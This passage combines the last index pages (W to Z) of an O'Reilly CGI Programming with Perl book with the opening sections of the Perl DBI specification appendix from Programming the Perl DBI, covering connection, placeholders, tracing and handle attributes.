strict rules for, using: 1.2.1. Sample CGI
strict types, Perl lacking requirement for: 1.3.1. Why Perl?
version strings: 2.3.1. The Request Line
versions
CGI.pm module: 5.1. Overview
Per modules, storing in $VERSION: 5.5.4. Custom Module
Perl, checking with -v option: 5.1. Overview
protocols in HTTP response headers: 2.4.1. The Status Line
View Source option: 11.2. Hidden Fields
viewer, Perl documentation: B.2. perldoc
virtual paths: 1.4.1.1. Configuring by directory
virtual text wrapping: 4.2.5. The <TEXTAREA> Tag
virtual_host method: 5.2.1.7. virtual_host

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: W (CGI Programming with Perl)

CGI Programming with PerlSearch this book

Index: W

warnings
Apache::Registry module, configuring to honor: 17.3.1. Installation and Configuration
checking with -w flag: 15.3.1. Check Syntax
mod_perl, use with: 17.3.2. mod_perl Considerations
Perl syntax checker: 15.1.4. "Malformed" Header
turning on in perl: 1.2.1. Sample CGI
WDDX (Web Distributed Data Exchange): 7.3.1. WDDX
example: 7.3.2. Example
SDK, downloading: 7.3.1. WDDX
web agent, writing with LWP: 14.1.3. LWP
web applications, creating with JavaScript: 7. JavaScript
web browsers
caching: 2.5.2. Caching
CGI script output: 5.3.1.3. Caching
discouraging with Expires header: 13.2.1. An Example
certificates, information about: 3.2.1. CGI Environment Variables
checking for media formats supported (example script): 3.4.1. Check the Client Browser
clients, representing: 14.1. Communicating with Other Servers
compatibility with JavaScript bookmarklets: 7.4.1.1. Compatibility
cookies
handling standard for: 11.3. Client-Side Cookies
with same name but different domains or paths, distinguishing: 11.3.1. Setting Cookies
environment variables, providing: 3.2.2. Examining Environment Variables
errors, server status codes for: 2.4.1. The Status Line
fatal error messages, displaying: 5.5.2. CGI::Carp
6.4.5.1. Embperl handler
15.2.4. Trap die
HTML display specifying for (lacking JavaScript support): 5.3.2.1. start_html
HTTP and: 2. The Hypertext Transport Protocol
request/response cycle: 2.2.1. The Request and Response Cycle
requests: 2.3. Browser Requests
4.1. Sending Data to the Server
identification by servers, proxies and: 2.5. Proxies
image format sepcifications: 2.6.1. Media Type
invalid requests due to bad syntax: 3.3.1.3. Specifying status codes
JavaScript 1.2, support for: 7.2.1.3. Validation example
PNG images, support for: 13.1.2. PNG
response from web server (example): 1.2. Introduction to CGI
trusting, security risks of: 8.2.5. Trusting the Browser
configurability of browsers: 8.2.5. Trusting the Browser
URLs, saving as bookmarks: 7.4.1. Bookmarklet Basics
User-Agent field, identifying with: 2.3.2.5. User-Agent
variable values, dumping to: 15.3.4. Dumping Variables
View Source option for HTML source code: 11.2. Hidden Fields
web document personalization with cookies: 11.3. Client-Side Cookies
web, history of: 1.1. History
web pages, embedding Java in: 1.3.2. Alternatives to CGI
web security, importance of: 8.1. The Importance of Web Security
web servers: 2.2.1. The Request and Response Cycle
(see also servers)
Apache web server, support for PHP language: 1.3.2. Alternatives to CGI
cgi-bin diretory: 1.2. Introduction to CGI
CGI programs
configuring for: 1.4.1. Configuring CGI Scripts
CGI scripts
mapping virtual directory to: 1.2.2. Invoking CGI Scripts
configuring for CGI: 1.4. Web Server Configuration
copy running on a separate port for developers: 16.1.1. Plan for Future Growth
decoding form input: 4.3. Decoding Form Input
development, sharing by developers: 16.1.1. Plan for Future Growth
hosts: 2.1.1. Elements of a URL
name and version (Server field): 2.4.2.8. Server
perl interpreter, embedding within: 1.3.2. Alternatives to CGI
response to web browser (example): 1.2. Introduction to CGI
status codes: 2.4.1. The Status Line
users, running as: 9.4.1. Command-Line Options
web site content, mapping to directories on: 16.1.2. Use Directories to Organize Your Projects
web sites
enabling SSI for all .shtml files: 6.2.1. Configuration
growth, CGI application development and: 16.1.1. Plan for Future Growth
searching: 12. Searching the Web Server
fgrep command: 12.1. Searching One by One
grep command: 12.2. Searching One by One, Take Two
inverted index search: 12.3. Inverted Index Search
well-formed XML documents, parsers and: 14.5. CGI Gateway to XML Middleware
whats_related.cgi script (example): 14.5. CGI Gateway to XML Middleware
while loops
database records, returning with: 10.4.1.3. Database querying
processing code, one line at at time: 17.1.4. Avoid Slurping
whitespace in code, guidelines for: 16.2. Coding Guidelines
wildcard characters
globbing: 12.1. Searching One by One
matches (*/*) in Accept header: 5.2.1.1. Accept
in select command: 10.3.3. Accessing Data
Win32 from ActiveState: B.1.1. Installing Modules
Perl debugger: 15.3.5.3. ActiveState Perl debugger
using PPM: 10.4.1. Using DBI
Windows operating system
carriage return line feed, (CRLF), use of: 3.3.1.1. Outputting documents
ColdFusion language and: 1.3.2. Alternatives to CGI
Netscape browsers sending paths to files as filenames: 5.2.4. File Uploads with CGI.pm
Perl slowness vs. Unix: 1.3.1. Why Perl?
words
index file, checking for previous occurrence of: 12.3. Inverted Index Search
prefixes, removing: 12.3. Inverted Index Search
suffixes, automatic removal of: 12.3. Inverted Index Search
world access bit, setting for CGI application execution: 15.1.1. Application Permissions
World Wide Web (see WWW)
WRAP attribute: 4.2.5. The <TEXTAREA> Tag
wrapped text in text boxes, placing: 13.4.1. GD::Text
write permission: 10.1.2. Write Permissions
writing chunks of data: 5.2.4. File Uploads with CGI.pm
writing XML parser: 14.4. Writing an XML Parser
WWW-Authenticate header: 2.3.2.4. Authorization
2.4.2.10. WWW-Authenticate
401 status code responses and: 3.3.1.3. Specifying status codes
WWW Consortium website for HTTP: 2. The Hypertext Transport Protocol

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: X (CGI Programming with Perl)

CGI Programming with PerlSearch this book

Index: X

X-Loop headers (email): 9.7.1. Autoreply from nobody
X Window System, use with ptkdb: 15.3.5.2. ptkdb
xhost command: 15.3.5.2. ptkdb
XML (Extensible Markup Language)
document type definition (DTD): 14.3. Document Type Definition
documents, online quiz (sample): 14.2. An Introduction to XML
DOM, defining objects for documents: 7.1.1. History
introduction to: 14.2. An Introduction to XML
features for data transport between programs: 14.2. An Introduction to XML
single, empty tags: 14.2. An Introduction to XML
middleware, CGI gateway to: 14.5. CGI Gateway to XML Middleware
Netscape server, typical returned from: 14.4. Writing an XML Parser
search engine based on: 14.4. Writing an XML Parser
WDDX, use of: 7.3.1. WDDX
web page information on: 14.5. CGI Gateway to XML Middleware
XML parsers
different ways of parsing: 14.5. CGI Gateway to XML Middleware
writing: 14.4. Writing an XML Parser
XML tags
RDF (Resource Definition Format): 14.4. Writing an XML Parser
tag: 14.3. Document Type Definition
tags: 14.3. Document Type Definition
XML::Parser, handling of: 14.5. CGI Gateway to XML Middleware
XML::Grove module: 14.5. CGI Gateway to XML Middleware
XML::Parser module: 14.5. CGI Gateway to XML Middleware
errors and: 14.5. CGI Gateway to XML Middleware
event-based style of: 14.5. CGI Gateway to XML Middleware
interface to C language expat library: 14.4. Writing an XML Parser
XY charts, creating: 13.4.2. GD::Graph

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: Y (CGI Programming with Perl)

CGI Programming with PerlSearch this book

Index: Y

There are no index entries for this letter.

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: Z (CGI Programming with Perl)

CGI Programming with PerlSearch this book

Index: Z

zlib, using with gd: 13.3.1. Installation

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


DBI Specification (Programming the Perl DBI)

 Programming the Perl DBISearch this book

Appendix A. DBI Specification

Contents:

Synopsis
Description
The DBI Class
Methods Common to All Handles
Attributes Common to All Handles
DBI Database Handle Objects
DBI Statement Handle Objects
Further Information
See Also
Authors
Copyright
Acknowledgments
Translations
Support/ Warranty
Training

This appendix is a slightly edited version of the DBI specification, a "living document" that evolves at a slow but steady pace as new versions of the DBI are released. This document is based on the DBI specification for DBI version 1.14.

Although we know that it will be slightly out of date by the time you read it, we have included this specification in the book because it is important reference material, and we believe the book would be incomplete without it. For up-to-date information, consult the online documentation for the version of the DBI you have installed. You can usually access the online documentation with the perldoc DBI command. The Changes file supplied with the DBI distribution contains detailed change information.

Note that whenever the DBI changes, the drivers take some time to catch up. Recent versions of the DBI have added new features (marked NEW in the text) that may not yet be supported by the drivers you use. Talk to the authors of those drivers if you need support for new features.

A.1. Synopsis

use DBI;

@driver_names = DBI->available_drivers;
@data_sources = DBI->data_sources($driver_name);

$dbh = DBI->connect($data_source, $username, $auth, \%attr);

$rv  = $dbh->do($statement);
$rv  = $dbh->do($statement, \%attr);
$rv  = $dbh->do($statement, \%attr, @bind_values);

$ary_ref = $dbh->selectall_arrayref($statement);
@row_ary = $dbh->selectrow_array($statement);
$ary_ref = $dbh->selectcol_arrayref($statement);

$sth = $dbh->prepare($statement);
$sth = $dbh->prepare_cached($statement);

$rv = $sth->bind_param($p_num, $bind_value);
$rv = $sth->bind_param($p_num, $bind_value, $bind_type);
$rv = $sth->bind_param($p_num, $bind_value, \%attr);

$rv = $sth->execute;
$rv = $sth->execute(@bind_values);

$rc = $sth->bind_col($col_num, \$col_variable);
$rc = $sth->bind_columns(@list_of_refs_to_vars_to_bind);

@row_ary  = $sth->fetchrow_array;
$ary_ref  = $sth->fetchrow_arrayref;
$hash_ref = $sth->fetchrow_hashref;

$ary_ref  = $sth->fetchall_arrayref;

$rv  = $sth->rows;

$rc  = $dbh->commit;
$rc  = $dbh->rollback;

$sql = $dbh->quote($string);

$rc  = $h->err;
$str = $h->errstr;
$rv  = $h->state;

$rc  = $dbh->disconnect;

A.1.1. Getting Help

If you have questions about DBI, you can get help from the dbi-users@isc.org mailing list. You can subscribe to the list by visiting:

http://www.isc.org/dbi-lists.html

Also worth a visit is the DBI home page at:

http://www.symbolstone.org/technology/perl/DBI

Before asking any questions, reread this document, consult the archives, and read the DBI FAQ. The archives are listed at the end of this document. The FAQ is installed as a DBI::FAQ module, so you can read it by executing perldoc DBI::FAQ.

Please note that Tim Bunce does not maintain the mailing lists or the web page (generous volunteers do that). So please don't send mail directly to him; he just doesn't have the time to answer questions personally. The dbi-users mailing list has lots of experienced people who should be able to help you if you need it.

Previous | Home | Next
8.2. Database Proxying | Book Index | A.2. Description
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Description (Programming the Perl DBI)

 Programming the Perl DBISearch this book

A.2. Description

The DBI is a database access module for the Perl programming language. It defines a set of methods, variables, and conventions that provide a consistent database interface, independent of the actual database being used.

It is important to remember that the DBI is just an interface. The DBI is a layer of "glue" between an application and one or more database driver modules. It is the driver modules that do most of the real work. The DBI provides a standard interface and framework for the drivers to operate within.

A.2.1. Architecture of a DBI Application

The API, or Application Programming Interface, defines the call interface and variables to Perl scripts to use. The API is implemented by the Perl DBI extension (see Figure A-1).

Figure A-1. DBI application architecture

The DBI "dispatches" the method calls to the appropriate driver for actual execution. The DBI is also responsible for the dynamic loading of drivers, error checking and handling, providing default implementations for methods, and many other non-database-specific duties.

Each driver contains implementations of the DBI methods using the private interface functions of the corresponding database engine. Only authors of sophisticated/multi-database applications or generic library functions need to be concerned with drivers.

A.2.2. Notation and Conventions

The following conventions are used in this document:

$dbh

Database handle object

$sth

Statement handle object

$drh

Driver handle object (rarely seen or used in applications)

$h

Any of the handle types above ($dbh, $sth, or $drh)

$rc

General return code (boolean: true=ok, false=error)

$rv

General Return Value (typically an integer)

@ary

List of values returned from the database, typically a row of data

$rows

Number of rows processed (if available, else -1)

$fh

A filehandle

undef

NULL values are represented by undefined values in Perl

\%attr

Reference to a hash of attribute values passed to methods

Note that Perl will automatically destroy database and statement handle objects if all references to them are deleted.

A.2.3. Outline Usage

To use DBI, first you need to load the DBI module:

use DBI;
use strict;

(The use strict; isn't required but is strongly recommended.)

Then you need to connect to your data source and get a handle for the connection:

$dbh = DBI->connect($dsn, $user, $password,
                    { RaiseError => 1, AutoCommit => 0 });

Since connecting can be expensive, you generally just connect at the start of your program and disconnect at the end.

Explicitly defining the required AutoCommit behavior is strongly recommended and may become mandatory in a later version. This determines if changes are automatically committed to the database when executed, or if they need to be explicitly committed later.

The DBI allows an application to "prepare" statements for later execution. A prepared statement is identified by a statement handle held in a Perl variable. We'll call the Perl variable $sth in our examples.

The typical method call sequence for a SELECT statement is:

prepare,
  execute, fetch, fetch, ...
  execute, fetch, fetch, ...
  execute, fetch, fetch, ...

For example:

$sth = $dbh->prepare("SELECT foo, bar FROM table WHERE baz=?");

$sth->execute( $baz );

while ( @row = $sth->fetchrow_array ) {
  print "@row\n";
}

The typical method call sequence for a non-SELECT statement is:

prepare,
  execute,
  execute,
  execute.

For example:

$sth = $dbh->prepare("INSERT INTO table(foo,bar,baz) VALUES (?,?,?)");

while(<CSV>) {
  chop;
  my ($foo,$bar,$baz) = split /,/;
      $sth->execute( $foo, $bar, $baz );
}

The do() method can be used for non-repeated, non-SELECT statements (or with drivers that don't support placeholders):

$rows_affected = $dbh->do("UPDATE your_table SET foo = foo + 1");

To commit your changes to the database (when AutoCommit is off ):

$dbh->commit;  # or call $dbh->rollback; to undo changes

Finally, when you have finished working with the data source, you should disconnect from it:

$dbh->disconnect;

A.2.4. General Interface Rules and Caveats

The DBI does not have a concept of a "current session." Every session has a handle object (i.e., a $dbh) returned from the connect method. That handle object is used to invoke database-related methods.

Most data is returned to the Perl script as strings. (Null values are returned as undef.) This allows arbitrary precision numeric data to be handled without loss of accuracy. Beware that Perl may not preserve the same accuracy when the string is used as a number.

Dates and times are returned as character strings in the native format of the corresponding database engine. Time zone effects are database/driver-dependent.

Perl supports binary data in Perl strings, and the DBI will pass binary data to and from the driver without change. It is up to the driver implementors to decide how they wish to handle such binary data.

Most databases that understand multiple character sets have a default global charset. Text stored in the database is, or should be, stored in that charset; if not, then that's the fault of either the database or the application that inserted the data. When text is fetched, it should be automatically converted to the charset of the client, presumably based on the locale. If a driver needs to set a flag to get that behavior, then it should do so; it should not require the application to do that.

Multiple SQL statements may not be combined in a single statement handle ($sth), although some databases and drivers do support this feature (notably Sybase and SQL Server).

Non-sequential record reads are not supported in this version of the DBI. In other words, records can be fetched only in the order that the database returned them, and once fetched they are forgotten.

Positioned updates and deletes are not directly supported by the DBI. See the description of the CursorName attribute for an alternative.

Individual driver implementors are free to provide any private functions and/or handle attributes that they feel are useful. Private driver functions can be invoked using the DBI func() method. Private driver attributes are accessed just like standard attributes.

Many methods have an optional \%attr parameter which can be used to pass information to the driver implementing the method. Except where specifically documented, the \%attr parameter can be used only to pass driver-specific hints. In general, you can ignore \%attr parameters or pass it as undef.

A.2.5. Naming Conventions and Name Space

The DBI package and all packages below it (DBI::*) are reserved for use by the DBI. Extensions and related modules use the DBIx:: namespace (see http://www.perl.com/CPAN/modules/by-module/DBIx/). Package names beginning with DBD:: are reserved for use by DBI database drivers. All environment variables used by the DBI or by individual DBDs begin with DBI_ or DBD_.

The letter case used for attribute names is significant and plays an important part in the portability of DBI scripts. The case of the attribute name is used to signify who defined the meaning of that name and its values, as the following table shows.

Case of Name | Has a Meaning Defined By
UPPER_CASE | Standards, e.g., X/Open, ISO SQL92, etc. (portable)
MixedCase | DBI API (portable), underscores are not used
lower_case | Driver or database engine specific (non-portable)

It is of the utmost importance that driver developers use only lowercase attribute names when defining private attributes. Private attribute names must be prefixed with the driver name or suitable abbreviation (e.g., ora_ for Oracle, ing_ for Ingres, etc.).

Here's a sample of the Driver Specific Prefix Registry:

ado_     DBD::ADO
best_    DBD::BestWins
csv_     DBD::CSV
db2_     DBD::DB2
f_       DBD::File
file_    DBD::TextFile
ib_      DBD::InterBase
ing_     DBD::Ingres
ix_      DBD::Informix
msql_    DBD::mSQL
mysql_   DBD::mysql
odbc_    DBD::ODBC
ora_     DBD::Oracle
proxy_   DBD::Proxy
solid_   DBD::Solid
syb_     DBD::Sybase
tuber_   DBD::Tuber
xbase_   DBD::XBase

A.2.6. SQL -- A Query Language

Most DBI drivers require applications to use a dialect of SQL (Structured Query Language) to interact with the database engine. The following URLs provide useful information and further links about SQL:

http://www.altavista.com/query?q=sql+tutorial

http://www.jcc.com/sql_stnd.html

http://www.contrib.andrew.cmu.edu/~shadow/sql.html

The DBI itself does not mandate or require any particular language to be used; it is language-independent. In ODBC terms, the DBI is in "pass-thru" mode, although individual drivers might not be. The only requirement is that queries and other statements must be expressed as a single string of characters passed as the first argument to the prepare or do methods.

For an interesting diversion on the real history of RDBMS and SQL, from the people who made it happen, see:

http://ftp.digital.com/pub/DEC/SRC/technical-notes/SRC-1997-018-html/sqlr95.html

Follow the "And the rest" and "Intergalactic dataspeak" links for the SQL history.

A.2.7. Placeholders and Bind Values

Some drivers support placeholders and bind values. Placeholders, also called parameter markers, are used to indicate values in a database statement that will be supplied later, before the prepared statement is executed. For example, an application might use the following to insert a row of data into the sales table:

INSERT INTO sales (product_code, qty, price) VALUES (?, ?, ?)

or the following, to select the description for a product:

SELECT description FROM products WHERE product_code = ?

The ? characters are the placeholders. The association of actual values with placeholders is known as binding, and the values are referred to as bind values.

When using placeholders with the SQL LIKE qualifier, you must remember that the placeholder substitutes for the whole string. So you should use "... LIKE ? ..." and include any wildcard characters in the value that you bind to the placeholder.

A.2.7.1. Null values

Undefined values, or undef, can be used to indicate null values. However, care must be taken in the particular case of trying to use null values to qualify a SELECT statement.

For example:

SELECT description FROM products WHERE product_code = ?

Binding an undef (NULL) to the placeholder will not select rows that have a NULL product_code. (Refer to the SQL manual for your database engine or any SQL book for the reasons for this.) To explicitly select NULLs, you have to say "WHERE product_code IS NULL" and to make that general, you have to say:

... WHERE (product_code = ? OR (? IS NULL AND product_code IS NULL))

and bind the same value to both placeholders.

A.2.7.2. Performance

Without using placeholders, the insert statement shown previously would have to contain the literal values to be inserted and would have to be re-prepared and re-executed for each row. With placeholders, the insert statement needs to be prepared only once. The bind values for each row can be given to the execute method each time it's called. By avoiding the need to re-prepare the statement for each row, the application typically runs many times faster.

Here's an example:

my $sth = $dbh->prepare(q{
  INSERT INTO sales (product_code, qty, price) VALUES (?, ?, ?)
}) || die $dbh->errstr;
while (<>) {
    chop;
    my ($product_code, $qty, $price) = split /,/;
    $sth->execute($product_code, $qty, $price) || die $dbh->errstr;
}
$dbh->commit || die $dbh->errstr;

See execute and bind_ param for more details.

The q{...} style quoting used in this example avoids clashing with quotes that may be used in the SQL statement. Use the double-quote like the qq{...} operator if you want to interpolate variables into the string. See the section on "Quote and Quote-Like Operators" in the perlop manpage for more details.

See also the bind_column method, which is used to associate Perl variables with the output columns of a SELECT statement.

Previous | Home | Next
A. DBI Specification | Book Index | A.3. The DBI Class
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


The DBI Class (Programming the Perl DBI)

 Programming the Perl DBISearch this book

A.3. The DBI Class

In this section, we cover the DBI class methods, utility functions, and the dynamic attributes associated with generic DBI handles.

A.3.1. DBI Class Methods

The following methods are provided by the DBI class:

connect
$dbh = DBI->connect($data_source, $username, $password)
          || die $DBI::errstr;
$dbh = DBI->connect($data_source, $username, $password, \%attr)
          || die $DBI::errstr;

connect establishes a database connection, or session, to the requested $data_source . Returns a database handle object if the connection succeeds. Use $dbh->disconnect to terminate the connection.

If the connect fails (see below), it returns undef and sets both $DBI::err and $DBI::errstr. (It does not set $!, etc.) You should generally test the return status of connect and print $DBI::errstr if it has failed.

Multiple simultaneous connections to multiple databases through multiple drivers can be made via the DBI. Simply make one connect call for each database and keep a copy of each returned database handle.

The $data_source value should begin with dbi:driver_name:. The driver_name specifies the driver that will be used to make the connection. (Letter case is significant.)

As a convenience, if the $data_source parameter is undefined or empty, the DBI will substitute the value of the environment variable DBI_DSN. If just the driver_name part is empty (i.e., the $data_source prefix is dbi::), the environment variable DBI_DRIVER is used. If neither variable is set, then connect dies.

Examples of $data_source values are:

dbi:DriverName:database_name
dbi:DriverName:database_name@hostname:port
dbi:DriverName:database=database_name;host=hostname;port=port

There is no standard for the text following the driver name. Each driver is free to use whatever syntax it wants. The only requirement the DBI makes is that all the information is supplied in a single string. You must consult the documentation for the drivers you are using for a description of the syntax they require. (Where a driver author needs to define a syntax for the $data_source, it is recommended that he or she follow the ODBC style, shown in the last example above.)

If the environment variable DBI_AUTOPROXY is defined (and the driver in $data_source is not Proxy) then the connect request will automatically be changed to:

dbi:Proxy:$ENV{DBI_AUTOPROXY};dsn=$data_source

and passed to the DBD::Proxy module. DBI_AUTOPROXY is typically set as "hostname=...;port=...". See the DBD::Proxy documentation for more details.

If $username or $password are undefined (rather than just empty), then the DBI will substitute the values of the DBI_USER and DBI_PASS environment variables, respectively. The DBI will warn if the environment variables are not defined. However, the everyday use of these environment variables is not recommended for security reasons. The mechanism is primarily intended to simplify testing.

DBI->connect automatically installs the driver if it has not been installed yet. Driver installation either returns a valid driver handle, or it dies with an error message that includes the string install_driver and the underlying problem. So DBI->connect will die on a driver installation failure and will only return undef on a connect failure, in which case $DBI::errstr will hold the error message.

The $data_source argument (with the "dbi:...:" prefix removed) and the $username and $password arguments are then passed to the driver for processing. The DBI does not define any interpretation for the contents of these fields. The driver is free to interpret the $data_source, $username, and $password fields in any way, and supply whatever defaults are appropriate for the engine being accessed. (Oracle, for example, uses the ORACLE_SID and TWO_TASK environment variables if no $data_source is specified.)

The AutoCommit and PrintError attributes for each connection default to "on." (See AutoCommit and PrintError for more information.) However, it is strongly recommended that you explicitly define AutoCommit rather than rely on the default. Future versions of the DBI may issue a warning if AutoCommit is not explicitly defined.

The \%attr parameter can be used to alter the default settings of PrintError, RaiseError , AutoCommit, and other attributes. For example:

$dbh = DBI->connect($data_source, $user, $pass, {
      PrintError => 0,
      AutoCommit => 0
});

You can also define connection attribute values within the $data_source parameter. For example:

dbi:DriverName(PrintError=>0,Taint=>1):...

Individual attribute values specified in this way take precedence over any conflicting values specified via the \%attr parameter to connect.

Where possible, each session ($dbh ) is independent from the transactions in other sessions. This is useful when you need to hold cursors open across transactions -- for example, if you use one session for your long lifespan cursors (typically read-only) and another for your short update transactions.

For compatibility with old DBI scripts, the driver can be specified by passing its name as the fourth argument to connect (instead of \%attr):

$dbh = DBI->connect($data_source, $user, $pass, $driver);

In this "old-style" form of connect, the $data_source should not start with dbi:driver_name:. (If it does, the embedded driver_name will be ignored). Also note that in this older form of connect, the $dbh->{AutoCommit} attribute is undefined, the $dbh->{PrintError} attribute is off, and the old DBI_DBNAME environment variable is checked if DBI_DSN is not defined. Beware that this "old-style" connect will be withdrawn in a future version of DBI.

connect_cached (NEW )
$dbh = DBI->connect_cached($data_source, $username, $password)
          || die $DBI::errstr;
$dbh = DBI->connect_cached($data_source, $username, $password, \%attr)
          || die $DBI::errstr;

connect_cached is like connect, except that the database handle returned is also stored in a hash associated with the given parameters. If another call is made to connect_cached with the same parameter values, then the corresponding cached $dbh will be returned if it is still valid. The cached database handle is replaced with a new connection if it has been disconnected or if the ping method fails.

Note that the behavior of this method differs in several respects from the behavior of persistent connections implemented by Apache::DBI.

Caching can be useful in some applications, but it can also cause problems and should be used with care. The exact behavior of this method is liable to change, so if you intend to use it in any production applications you should discuss your needs on the dbi-users mailing list.

The cache can be accessed (and cleared) via the CachedKids attribute.

available_drivers
@ary = DBI->available_drivers;
@ary = DBI->available_drivers($quiet);

Returns a list of all available drivers by searching for DBD::* modules through the directories in @INC. By default, a warning is given if some drivers are hidden by others of the same name in earlier directories. Passing a true value for $quiet will inhibit the warning.

data_sources
@ary = DBI->data_sources($driver);
@ary = DBI->data_sources($driver, \%attr);

Returns a list of all data sources (databases) available via the named driver. The driver will be loaded if it hasn't been already. If $driver is empty or undef, then the value of the DBI_DRIVER environment variable is used.

Data sources are returned in a form suitable for passing to the connect method (that is, they will include the dbi:$driver: prefix).

Note that many drivers have no way of knowing what data sources might be available. These drivers return an empty or incomplete list.

trace
DBI->trace($trace_level)
DBI->trace($trace_level, $trace_filename)

DBI trace information can be enabled for all handles using the trace DBI class method. To enable trace information for a specific handle, use the similar $h->trace method described elsewhere.

Trace levels are as follows:

0

Trace disabled.

1

Trace DBI method calls returning with results or errors.

2

Trace method entry with parameters and returning with results.

3

As above, adding some high-level information from the driver and some internal information from the DBI.

4

As above, adding more detailed information from the driver. Also includes DBI mutex information when using threaded Perl.

5 and above

As above, but with more and more obscure information.

Trace level 1 is best for a simple overview of what's happening. Trace level 2 is a good choice for general purpose tracing. Levels 3 and above (up to 9) are best reserved for investigating a specific problem, when you need to see "inside" the driver and DBI.

The trace output is detailed and typically very useful. Much of the trace output is formatted using the neat function, so strings may be edited and truncated.

Initially, trace output is written to STDERR. If $trace_filename is specified, the file is opened in append mode and all trace output (including that from other handles) is redirected to that file. Further calls to trace without a $trace_filename do not alter where the trace output is sent. If $trace_filename is undefined, then trace output is sent to STDERR and the previous trace file is closed.

See also the $h->trace and $h->trace_msg methods for information about the DBI_TRACE environment variable.

A.3.2. DBI Utility Functions

In addition to the methods listed in the previous section, the DBI package also provides the following utility functions:

neat
$str = DBI::neat($value, $maxlen);

Returns a string containing a neat (and tidy) representation of the supplied value.

Strings will be quoted, although internal quotes will not be escaped. Values known to be numeric will be unquoted. Undefined (NULL) values will be shown as undef (without quotes). Unprintable characters will be replaced by a dot (.).

For result strings longer than $maxlen, the result string will be truncated to $maxlen-4, and "...'" will be appended. If $maxlen is 0 or undef, it defaults to $DBI::neat_maxlen, which, in turn, defaults to 400.

This function is designed to format values for human consumption. It is used internally by the DBI for trace output. It should typically not be used for formatting values for database use. (See also quote.)

neat_list
$str = DBI::neat_list(\@listref, $maxlen, $field_sep);

Calls DBI::neat on each element of the list and returns a string containing the results joined with $field_sep. $field_sep defaults to ", ".

looks_like_number
@bool = DBI::looks_like_number(@array);

Returns true for each element that looks like a number. Returns false for each element that does not look like a number. Returns undef for each element that is undefined or empty.

A.3.3. DBI Dynamic Attributes

Dynamic attributes are always associated with the last handle used (that handle is represented by $h in the descriptions below).

Where an attribute is equivalent to a method call, refer to the method call for all related documentation.

Warning: these attributes are provided as a convenience, but they do have limitations. Specifically, they have a short lifespan: because they are associated with the last handle used, they should be used only immediately after calling the method that "sets" them. If in any doubt, use the corresponding method call.

$DBI::err

Equivalent to $h->err.

$DBI::errstr

Equivalent to $h->errstr.

$DBI::state

Equivalent to $h->state.

$DBI::rows

Equivalent to $h->rows. Please refer to the documentation for the rows method.

Previous | Home | Next
A.2. Description | Book Index | A.4. Methods Common to All Handles
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Methods Common to All Handles (Programming the Perl DBI)

 Programming the Perl DBISearch this book

A.4. Methods Common to All Handles

The following methods can be used by all types of DBI handles:

err
$rv = $h->err;

Returns the native database engine error code from the last driver method called. The code is typically an integer, but you should not assume that.

The DBI resets $h->err to undef before most DBI method calls, so the value has only a short lifespan. Also, most drivers share the same error variables across all their handles, so calling a method on one handle will typically reset the error on all the other handles that are children of that driver.

If you need to test for individual errors and have your program be portable to different database engines, then you'll need to determine what the corresponding error codes are for all those engines, and test for all of them.

errstr
$str = $h->errstr;

Returns the native database engine error message from the last driver method called. This has the same lifespan issues as the err method described above.

state
$str = $h->state;

Returns an error code in the standard SQLSTATE five-character format. Note that the specific success code 00000 is translated to 0 (false). If the driver does not support SQLSTATE (and most don't), then state will return S1000 (General Error) for all errors.

trace
$h->trace($trace_level);
$h->trace($trace_level, $trace_filename);

DBI trace information can be enabled for a specific handle (and any future children of that handle) by setting the trace level using the trace method.

Trace level 1 is best for a simple overview of what's happening. Trace level 2 is a good choice for general-purpose tracing. Levels 3 and above (up to 9) are best reserved for investigating a specific problem, when you need to see "inside" the driver and DBI. Set $trace_level to 0 to disable the trace.

The trace output is detailed and typically very useful. Much of the trace output is formatted using the neat function, so strings may be edited and truncated.

Initially, trace output is written to STDERR. If $trace_filename is specified, then the file is opened in append mode and all trace output (including that from other handles) is redirected to that file. Further calls to trace without a $trace_filename do not alter where the trace output is sent. If $trace_filename is undefined, then trace output is sent to STDERR and the previous trace file is closed.

See also the DBI->trace method for information about the DBI_TRACE environment variable.

trace_msg
$h->trace_msg($message_text);
$h->trace_msg($message_text, $min_level);

Writes $message_text to the trace file if trace is enabled for $h or for the DBI as a whole. Can also be called as DBI- >trace_msg($msg). See trace.

If $min_level is defined, then the message is output only if the trace level is equal to or greater than that level. $min_level defaults to 1.

func
$h->func(@func_arguments, $func_name);

The func method can be used to call private non-standard and non-portable methods implemented by the driver. Note that the function name is given as the last argument.

This method is not directly related to calling stored procedures. Calling stored procedures is currently not defined by the DBI. Some drivers, such as DBD::Oracle, support it in non-portable ways.

See driver documentation for more details.

Previous | Home | Next
A.3. The DBI Class | Book Index | A.5. Attributes Common to All Handles
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Attributes Common to All Handles (Programming the Perl DBI)

 Programming the Perl DBISearch this book

A.5. Attributes Common to All Handles

These attributes are common to all types of DBI handles.

Some attributes are inherited by child handles. That is, the value of an inherited attribute in a newly created statement handle is the same as the value in the parent database handle. Changes to attributes in the new statement handle do not affect the parent database handle and changes to the database handle do not affect existing statement handles, only future ones.

Attempting to set or get the value of an unknown attribute is fatal, except for private driver-specific attributes (which all have names starting with a lowercase letter).

For example:

$h->{AttributeName} = ...;    # set/write
... = $h->{AttributeName};    # get/read
Warn ( boolean, inherited)

